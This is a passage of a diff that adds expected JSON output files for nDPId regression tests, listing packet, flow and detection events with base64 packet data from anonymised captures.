datalink layer packet","thread_id":0,"packet_id":193,"source":"reasm_crash_anon.pcapng","alias":"nDPId-test","datalink":113} +00414{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":194,"source":"reasm_crash_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1410867090,"pkt_ts_usec":341075,"pkt_caplen":81,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":81,"pkt_l4_len":0,"pkt":"AAQAAQAGplhD8kgGAAAIAEUAAEECF0AAQAbS\/8CokZMK0QiUyBJV7zv7ZlXdkmdUgBghOx75AAABAQgKPq522jp2A6o8ZGV0YWlscyAvPg0K"} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":194,"source":"reasm_crash_anon.pcapng","alias":"nDPId-test","datalink":113} +00398{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":195,"source":"reasm_crash_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1410867090,"pkt_ts_usec":342554,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAQAAQAGplhD8kgGAAAIAEUAADQCGEAAUAbDDMCokZMK0QiUyBJV7zv7ZmLdkmeKgBAhO6j\/AAABCAo+rnbcOnZ5PgA="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":195,"source":"reasm_crash_anon.pcapng","alias":"nDPId-test","datalink":113} +00397{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":196,"source":"reasm_crash_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1410867090,"pkt_ts_usec":343792,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAQAAQAGplhD8kgGAAAIAEUAADQCGUAAQAbTCsCokZMK0QiUyBJV7zv7ZmLdkmpfgBAhO35PAAABAQgKPq523Tp2eT8="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":196,"source":"reasm_crash_anon.pcapng","alias":"nDPId-test","datalink":113} +00397{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":197,"source":"reasm_crash_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1410867090,"pkt_ts_usec":343795,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAQAAQAGplhD8kgGAAAIAEUAADQCGUAAbQamC8CokZMK0QiUyBJV7zv7ZmLdkmpfgBAhO35OAAABAQgKPq523Tp2eT8="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":197,"source":"reasm_crash_anon.pcapng","alias":"nDPId-test","datalink":113} +00414{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":198,"source":"reasm_crash_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1410867120,"pkt_ts_usec":441569,"pkt_caplen":81,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":81,"pkt_l4_len":0,"pkt":"AAQAAQAGplhD8kgGAAAIAEUAAEECGkAAQAbS\/MCokZMK0QiUyBJV7zv7XmLdkmpfgBghOzi3AAABAQgKPq7sbjp2eT88ZGV0YWlscyAvPg0K"} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":198,"source":"reasm_crash_anon.pcapng","alias":"nDPId-test","datalink":113} +00398{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":199,"source":"reasm_crash_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1410867120,"pkt_ts_usec":442928,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAQAAQAGplhD8kgGAAAIAEUAADQCG0AAQAbTCMCokZMK0QiUyBJV7zv7Zm\/dkmqVgBAhO5LjAAABAQgKPq7scDp27tM="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":199,"source":"reasm_crash_anon.pcapng","alias":"nDPId-test","datalink":113} +00398{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":200,"source":"reasm_crash_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1410867120,"pkt_ts_usec":442932,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAQAAQAGplhD8kgGAAAIAEUAADQCG0AAQAbTCMCokZMK0QiUyBJV7zv7Zm\/dkmqVgBAhO5LjAAABAQgKPq7scDp27tM="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":200,"source":"reasm_crash_anon.pcapng","alias":"nDPId-test","datalink":113} +00426{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":201,"source":"reasm_crash_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1410867120,"pkt_ts_usec":444165,"pkt_caplen":88,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":88,"pkt_l4_len":0,"pkt":"AAQAAQAGplhD8kgGAAAIAEUAAEgCHEAAQAbS9MCokZMK0QiUyBJV7zv7Zm\/dkm1q0BAhO41fAAABAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ=="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":201,"source":"reasm_crash_anon.pcapng","alias":"nDPId-test","datalink":113} +00398{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":202,"source":"reasm_crash_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1410867120,"pkt_ts_usec":444169,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAQAAQAGplhD8kgGAAAIAEUAADQCHEAAQAbTB8CokZMK0QiUyBJV7zv7Zm\/dkG1qgBAhI5AoAAABAQgKPq7scTp27tM="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":202,"source":"reasm_crash_anon.pcapng","alias":"nDPId-test","datalink":113} +00414{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":203,"source":"reasm_crash_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1410867150,"pkt_ts_usec":542216,"pkt_caplen":81,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":81,"pkt_l4_len":0,"pkt":"AAQAAQAGplhD8kgGAAAIAEUAAEECHUAAQAbS+cCokZMK0QiUyBJV7zv7Zm\/dkm1qgBghO0J1AAABAQgKPq9iAzp27tM8ZGV0YWlscyAvPg0K"} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":203,"source":"reasm_crash_anon.pcapng","alias":"nDPId-test","datalink":113} +00443{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":204,"source":"reasm_crash_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1410867180,"pkt_ts_usec":642701,"pkt_caplen":101,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":101,"pkt_l4_len":0,"pkt":"AAQAbwAGplhD8kgGAAAIAEUAAFUCIEAAQAbS4sCokZMK0QiUyBJV7zv7ZnzdgnB10BghO7JQAAABAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBATxkZXRhaWxzIC8+DQo="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":204,"source":"reasm_crash_anon.pcapng","alias":"nDPId-test","datalink":113} +00414{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":205,"source":"reasm_crash_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1410867180,"pkt_ts_usec":642708,"pkt_caplen":81,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":81,"pkt_l4_len":0,"pkt":"AAAAAQAGplhD8kgGAAAIAEUAAEECIEAAQAbS9sCokZMK0QiUyBJV7zv7ZnzdknB1gBghO1QyAAABAQgKPq\/Xlzp3ZGk8ZGV0YWlscyAvPg0K"} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":205,"source":"reasm_crash_anon.pcapng","alias":"nDPId-test","datalink":113} +00398{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":206,"source":"reasm_crash_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1410867180,"pkt_ts_usec":784115,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAAAAQAGplhD8kgGAAAIAEUAADQCIUAAQAbTAsCokZMK0QiUyBJV7zv7ZondknCrgBAhO7VHAAABAQgKPq\/YJTp32og="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":206,"source":"reasm_crash_anon.pcapng","alias":"nDPId-test","datalink":113} +00398{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":207,"source":"reasm_crash_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1410867180,"pkt_ts_usec":784119,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAQAAQAGplhD8kgGAAAIAEUAADQCIQAAQAYTBMCokZMK0QiUyBJV7zv7ZondknCrgEghO7QQAAABAQgKPq\/YJTt32og="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":207,"source":"reasm_crash_anon.pcapng","alias":"nDPId-test","datalink":113} +00398{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":208,"source":"reasm_crash_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1410867180,"pkt_ts_usec":785355,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAQAAQAGplhD8kgGAAAIAEUAADQCIkAAQAbTAcCokZMK0QiUyBJV7zv7ZondknOAgBAhO7JwAAABAQgKPq\/YJjp32ok="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":208,"source":"reasm_crash_anon.pcapng","alias":"nDPId-test","datalink":113} +00398{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":209,"source":"reasm_crash_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1410867180,"pkt_ts_usec":785359,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAQAAQAGplhD8kgGAAAIAEUAADQCIkAAQAbTAcCokZMK0QiUyBJV7zv7ZondknOAgBAhO7JwAAABAQgKPq\/YJjp32ok="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":209,"source":"reasm_crash_anon.pcapng","alias":"nDPId-test","datalink":113} diff --git a/test/results/reasm_segv_anon.pcapng.out b/test/results/reasm_segv_anon.pcapng.out new file mode 100644 index 000000000..cfbb89131 --- /dev/null +++ b/test/results/reasm_segv_anon.pcapng.out @@ -0,0 +1,73 @@ +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1550422828,"pkt_ts_usec":553466,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"AAAAcxs8EFFy5LtdCABFeABcpb4AAEARUG2RTALsu2A0VQhoCGgASAAAMv8AOAn8kEPKcwAARQAANFkiQAB\/BgGSrBEkFT++kSvhEwBQ8LOPBjqqVCGAEAEBeCMAAAEBBQo6qnTxOqqFWQ=="} +00198{"basic_event_id":14,"basic_event_name":"Captured packet size is smaller than packet size","thread_id":0,"packet_id":1,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","caplen":106,"len":110} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1550422828553,"flow_last_seen":0,"flow_tot_l4_data_len":72,"flow_min_l4_data_len":72,"flow_max_l4_data_len":72,"flow_avg_l4_data_len":72,"midstream":0,"l3_proto":"ip4","src_ip":"145.76.2.236","dst_ip":"187.96.52.85","src_port":2152,"dst_port":2152,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00491{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1550422828,"pkt_ts_usec":553466,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":72,"pkt":"AAAAcxs8EFFy5LtdCABFeABcpb4AAEARUG2RTALsu2A0VQhoCGgASAAAMv8AOAn8kEPKcwAARQAANFkiQAB\/BgGSrBEkFT++kSvhEwBQ8LOPBjqqVCGAEAEBeCMAAAEBBQo6qnTxOqqFWQ=="} +00512{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1550422828553,"flow_last_seen":0,"flow_tot_l4_data_len":72,"flow_min_l4_data_len":72,"flow_max_l4_data_len":72,"flow_avg_l4_data_len":72,"midstream":0,"l3_proto":"ip4","src_ip":"145.76.2.236","dst_ip":"187.96.52.85","src_port":2152,"dst_port":2152,"l4_proto":"udp","ndpi": {"proto":"GTP","breed":"Acceptable","category":"Network"}} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1550422828,"pkt_ts_usec":949487,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"AAAAcxs8EFFy5LtdCABFeABcLoEAAEARx6qRTALsu2A0VQhoCGgASAAAMv8AOAn8kEPNcwAARQAANFkkQAB\/BgGQrBEkFT++kSvhEwBQ8LOPBjqqVCGAEAEBcqsAAAEBBQo6qnTxOqqK0Q=="} +00198{"basic_event_id":14,"basic_event_name":"Captured packet size is smaller than packet size","thread_id":0,"packet_id":2,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","caplen":106,"len":110} +00491{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1550422828,"pkt_ts_usec":949487,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":72,"pkt":"AAAAcxs8EFFy5LtdCABFeABcLoEAAEARx6qRTALsu2A0VQhoCGgASAAAMv8AOAn8kEPNcwAARQAANFkkQAB\/BgGQrBEkFT++kSvhEwBQ8LOPBjqqVCGAEAEBcqsAAAEBBQo6qnTxOqqK0Q=="} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1550422829,"pkt_ts_usec":33309,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"AAAAcxs8EFFy5LtdCABFeABcSu8AAEARqzyRTALsu2A0VQhoCGgASAAAMv8AOAn8kEPOcwAARQAANFklQAB\/BgGPrBEkFT++kSvhEwBQ8LOPBjqqVCGAEAEBbTMAAAEBBQo6qnTxOqqQSQ=="} +00198{"basic_event_id":14,"basic_event_name":"Captured packet size is smaller than packet size","thread_id":0,"packet_id":3,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","caplen":106,"len":110} +00490{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1550422829,"pkt_ts_usec":33309,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":72,"pkt":"AAAAcxs8EFFy5LtdCABFeABcSu8AAEARqzyRTALsu2A0VQhoCGgASAAAMv8AOAn8kEPOcwAARQAANFklQAB\/BgGPrBEkFT++kSvhEwBQ8LOPBjqqVCGAEAEBbTMAAAEBBQo6qnTxOqqQSQ=="} +02364{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1550422829,"pkt_ts_usec":929637,"pkt_caplen":1490,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1490,"pkt_l4_len":1456,"pkt":"AAAAcxs8EFFy5LtdCABFeAXERWUAADkRsl67YDRVkUwC7AhoCGgFsAAAMP8FoDg844lFAAWgxWgAAPsGU98\/vpErrBEkFQBQ4RM6qmoB8LOPBlAQAEiwDQAARAeExr+y8AhzVpgKCkKlnvlehsfpm0bTBDeOsVCIPJJRR8i7O0ShlC8OkbZcjr27e46mdxo6iVDTSSR19U\/OnX\/J9ytt7JmoZ+ArhxnMbhDMeJxmyZ8joLjowqY9ASTolrXiHLvjMJPYJuaqE9CZI9fJgP3JYWRy+SPj\/LcOM9atRNZddEoFbkLAmvP45TpduQtDDD0pDbEmAAH9D9ePgPsOEwL8iIAmdomWzYeDoeXmIRRso+nGSf4SW8p0Z+kHfn8Lcb7fe4gNvCVxNuRzZ9XoBr78EKOyvcLsb6QBVosDrP5BGiDhsNMJiQSrlAGKaHvmkIy2ABeX7VCwAXY\/FGyAbQ8p3LqXoETrP4eCuMN+qg7mDqupltxhdAN0xeOMr5cxvs5W8fVVMDdwTeYn\/BXjraVrGZxOjNpYcHt2VM+dfgmvUtbfUC5eJov3yTFN343b4JJd+2n55Xma4PBSZhxMr2o0NMqbMEOjBgwN0HH\/QWEjmNewbzK\/U7y2dKfGPvj9YLFBTGuOaRo5d+Yg7b9Jr0LlpgfUB\/38A8BQjT14lBVLpip7QEPVqmr\/pav2TiolHdabQ\/W6HgUZtkgzERzbT+xNV00\/4lJoH8nDNabGIMnyA0L5NfH+c8xMtPbRxHP+wDtWOxxk8hukw5NmkA6HCbHYj2ywfw4EW7PyHWDoFlGbnCWZniy8lS5OzEluRgVuExMmbCtBeAffLPbOAWmzmBgPRr47k23xk8S+kS7OrKn3unqgghpx3XG8VsVJgBYwF3NODGXhGt5YSjRAF180YCRe29+AkXhyf7F4BTc7xifeVx2MtmvEg3H+7vLERWT+s4P3AZnXBiNzIFvtwEwFJeIiHxEeji1jP5E3Gxp+BF1tCaPu6obNy7v312tehtK4XI8AET4KDTpxYuqF4o8mWadnmlkSLeIccQj0ynnVdo9TnKNIzTuc5\/RbSvcxSS9mZ5L+n\/tESY\/7JO89LhGzECDIX90nC\/K6BL\/lBSqHhbgT9RdK2aeR\/hr1LhbSJCHuz+sMAk4U4hHNMEwFuyg2bB9pPGNEGV5FDqcQcjYha5zbWxzkppMDexX5qATyKNuLfdklycdPHIsMOuYBdj51hSz3\/zndLw1O90l7g9D97Hdui+79exqg++\/23IruPeOjT+BV4cxPdEYk\/tBuEvFH2PhLDknGn0fnUSDxF4qjixTXgKMY4YsT2sg9aFc4D25qTblsB+tai9PCNvi8bVM4rrFBnbbV7FS1rVS+kcW114hzBa53ptF6ZyHgx0sRhNSC+0HAv1cFkgu7A+YDKCUJ7gOQymcV4hrpIFojhUqnHUeCeJgVSqVK71ddSPy+XGEqVag5L\/0Gqw+dY+hdP7gIppiz11hfS4NOMqWqvlp3B04ypXJfO+9GDyJNMl1w4mTzxula6Vb2azYk2Wr86P9ZXLC3XQwIanOqivxyqwN4YXtVcZAQLsX0lZ+fKeIzE8rSToQINW3NrqItJJSJ0slwXb5FMlzT\/SL+WW1Ov3ajSSp8JjF1EWu+jwLRQNc9ll5NlDg0nauYojaEpClkdU+7Zhcnv+Pi\/OcN5l7wealz00XPTwR0p4lgeIptxGGbR6Y1gakUO3ANS7eDHCZku1OZLNMFtsJpIm3cnX8R0zZA2gKpfesUv2WmV1o6bSJVVY7CCpdOr8FYTuZtkJdOh3lJWL0JLV+DrH7R35L6zTl\/IAq6eoNpga1prIDseOxIgPH2665iaA11vAiUYV+nUtw4ZG2tGGtzuYh8GM0vM02vkfj++6UilU9DigSWrT4u7otV9gjLYULYvVRpFDI1BndDnz2Nu1hMBe3gxfNkmmdQot+ybYe4CI+Ga6cR0VyKZ0AIfyxht\/A="} +02383{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1550422829,"pkt_ts_usec":929761,"pkt_caplen":1490,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1490,"pkt_l4_len":1456,"pkt":"AAAAcxs8EFFy5LtdCABFeAXERWQAADkRsl+7YDRVkUwC7AhoCGgFsAAAMP8FoDg844lFAAWgxWcAAPsGU+A\/vpErrBEkFQBQ4RM6qmSJ8LOPBlAQAEjjuQAASGv3Neuozq7kv67kL1Hnj7lbmz9d0fXlu7gwQuJz\/eXJf\/oG1BkNeS+BDSv6HE0FK4jJx9QaKEQiXfpZtW2zgSTYwTNMgpEzn934WY3oICm9l0npFWKetyiPIqoWwXfeJtSlQWOSG7O\/riFvuzLW0FiqZMqT9TUykKW3r\/swoVySUn\/LVsVXJMGU05QJnGzxN1P8TWuqczag3oRHV5Xz8bsVptimHF51jSk0uD7JZrepvGLeiDlEIHoeq8nv4bdYvkaCtI2ju+I7i6osvuLaAHN3HSHtr+AboJg6mMzPnlZKxHVRlQDqIteAVOKJbxQFWwHrw98gcQ6JTDgsdAMzEhjhOBSfrLmPJPKrYoPXVsju7hWvJSn7nc04JPXZlU6Xqe\/TxtG3GWUst5eSjkESbtgGPI2zs+t6h9+L4UILmVs\/6yC7AFK8Qzngut13oXw91+2+\/jWzw8ZpOWr018RRu7gZOxDK4hF4DT9It47IR\/ZOMuO5IkS6H2Sv8BI7aI+f7\/qjiPb0sas\/9A6AW+CfNPsTiH9cfXNtw7M5\/vw7Eg6jvFvfuB7Af3wkEPCP\/lZE98FojBOAw0Sig6xxdPkTgR0AkeO3DD+NkzldDjNOvCn590DQ91Ufu1JfS9QBitd7G47\/VFDYC+xzAOwJRizmI57hnStCP4cBiC7rGSl0ZyGWWIxkjs80NkwZU0\/VSxnPUDdm7MB2Rg2vrCuqWy58sbPIr\/j7gp2nJETpODOvK9DZCcmWQ5s56Xu\/6HW3ipRy\/rrfv6AuBvhMndF3dps+Y\/9rfn+gyrT+ZLHBvS6brMdBkRvZJVuaE5U+T6NQQ31ymUKK8OG7HlbdFXhCFDWSmH5FLaZPBorpThtFMR17kong76kT00CCTqtmZCXIfptGJxVlFMTytZr2h13f\/enaHobdF74LCwXpNE4lql\/SNdbBIorqTSdYRXMbaGwJ5ZmSFtjQq9iQ2gEyHrLisf5BKNGGh+ECDxPvg56WxDs\/ld3dRjK+IIzJ9Knib574Oz5Muat5WIbualBcsRmepJwUS8aLfShqqecpWbpOryUN\/1QNIwd2nU0r8mOCvKyyA+ZB\/4fUFDzFgh4xoTTUIC3mJJI7jvyw5DRaXMOsfbYXGSog9zo7teO3TKphQDxOQFQ0+ZE1inquwIijujS9fIg+sesJWaiHYKGOR\/1cynrTmNqbMlE+oxYP9ZMwY5u5fzhO6QPUrR4+Hmz+2Xy82CCfUCvMZIbCXO3BvdoQhpMa8bc6RIx7LJ\/hUy5tlFBxYvoGXIM3iAfu6D4w\/aWHVmwbeB46z5cwHwqe33pmX7H+KsO7ICdOdsrFhKKH5Y9jhD+aYoXPvj\/nl+941Fx4CCA7cgxt4zV4BgumfsmwEv0jXx6T\/SMOfibyTEG5nS\/PGwr2PyTx1+38XZR\/poF2Gcw+xvpzQCiIX+Xnq1L4\/Sm8lz8iPP9dA11Iwy7UPei3pGLxaqK7A8JP5xoocvexYEhrckxyD1vFw4TieVLpvJ\/dO6Bc3IqCvNI9UblB0yaeZ\/YlnKKbsPD2GXLImWlkxV+hQy6vSzJS9n6hreJrjGLrlXRtpg\/Du5OQpoOLZ44UK0cVB7rP+dXXTjbmPLnGulAwr8H4iFTvk7d+hcP4RjyxqWOSLpCINnB\/G++1s7NRb\/3hV2pGcBxnEIFZ9spRIvjRAdWcPloceNGk96gCVSXY45qjDKrSJZ\/vpWu4wary5R74s8i\/L8Avj\/fm1qr8dGW95GtzUyjcNjnoLlkTN+BuF1PBDlEPlWAiEmPXo4gCU8G\/VMJk+iVKankUCQfYBZElrD9\/TrzbEXiuOhkEWA\/fOb\/ozkBUuE6dU99Mq3FLVB6R3BKXAtwShUc="} +02391{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1550422829,"pkt_ts_usec":929763,"pkt_caplen":1490,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1490,"pkt_l4_len":1456,"pkt":"AAAAcxs8EFFy5LtdCABFeAXERWEAADkRsmK7YDRVkUwC7AhoCGgFsAAAMP8FoDg844lFAAWgxWQAAPsGU+M\/vpErrBEkFQBQ4RM6qlQh8LOPBlAQAEiT+AAAl5KZswO79dqfdN5wLzXOAIQ92Psl9LuvJu9eYaa6wiPCo8GLLoCiC3z9AOnChyYVr9N+ak+4vSgpRN6DFkSfsqI+xTYmAcuH32yFwi4UlKvA4FiNm9FWHwDiSHNg\/Is7KNEsyl4ril3ZkKnPjpLmjmTt3NHPSHPHbJOkrRSbZG3lW5OsrTQ2y9pKF7OorXhTreKMkpgSMKPYoI8L3KNi5466H7csYShDZrvPLUZIp8a7J8fKCkpglBBR343C3Y3AzcIL67AhVFajhgc90wBAeBVytq27rz7VdF1TrWp6BlVTlV7nCW9aqMIfvHdqKSIomY7v4q4n3Eqm6Z8n\/LcWkAtPhIai\/Abr0qg6Bonx\/5pKenbU8EoNvZz4t7a9GS3E9rZX0vuNf\/8lerqzRf309KWxAXp6z9gAPan697muv6801\/Z391\/rb2jzBui\/of76mtxef1\/V9feZZtr+tv1Mm95Uh2\/aN4gr5e7+ZlZIze+4Ny5DpIGDRAM3qPDJ4GTQEzuNx13dA8zi7sJ49XklhN+n2v7YdfTg+\/RW8IXGPeHfSXB91RiwPLCqMYLudWl\/o1WBWpD2n9fgF\/fO8qF0tJ1N2gghPOMOZgBFnIgVRi\/1o3BPpLO3eGit2Yd+SUreTvmoj5XyQfecel5lXtcWf36xAYRMWqOV0r4HK9ssyraXwiR4F8ydTHXPgCJWDvg\/PFjwhQ\/DV6q3o6rwexv9vV6kHu+t8y8u+Wv5CypU8NDIw86VGnkoLc3plM3IcYqqTQ72mxSz0YGzbTUXd5w2wh630EbYoXb+HqZa4lIJTslWe5I\/728c3zsgpHMOwt2dAHLUyDYtu7zGukOsNB2EOPLbClDhQdGWNOYHZomqoXQ8AMbvM\/qOH1TRhy\/Kl1qlvM\/w4elrX3TiHr+Yzvn4h\/ao8nO+VM17rO9IuV\/zPllTf6Tv\/CH1u9V33Ktt\/\/we9bvRV7pf+35tX0D\/1ifJ\/Uv0lcbv0eT39t2jqT9ip669Hep3s69wu7b\/vffrxqNpH8PQ+qbM9\/vl9AxNe1Zfoa7+85Xq8olYPrqv3P9c38sJWvg20dQX6VvSa4++\/HoJPzN8GIPNl9dLri\/H5+2jrS+hp\/o90ZfaS1v\/OE17Zt+cg+r+Uv0pfeX2poO27RvdR24v03ftIW39EX219OFaq4XHnF1afPC7tPgOOxQAb2tPuf1cbL\/gIbn9Kb7JmvYzfUs044\/3Rejqz9iprj9XN54pvow+WngU7tPSg5aejL4YDf9gIAHfuZ5yfUB\/D2jpc852XX909Kflj0jfpgNa+C3Zo30\/vlv77u2thX\/Edm19pdu08PceCID3Z7987le\/5\/WW4U\/8N7pUpv94X0ZvNX1S+twv5fQ0X+\/eWn70Jmjp7+AOdfvx1H6C3F4O4udXhb6tvjkJ2voKe2vr8+4LwEfzeFX5ybr81zT8OQXbi07QjlfFX5m+QQ9q+evjeC29XNPhN+J+bXsZOnnn1dBXvK90uw6fOnobp6HfcupfD7l\/WnmF9BxRqa2vSbmOfrZp28\/YqaUX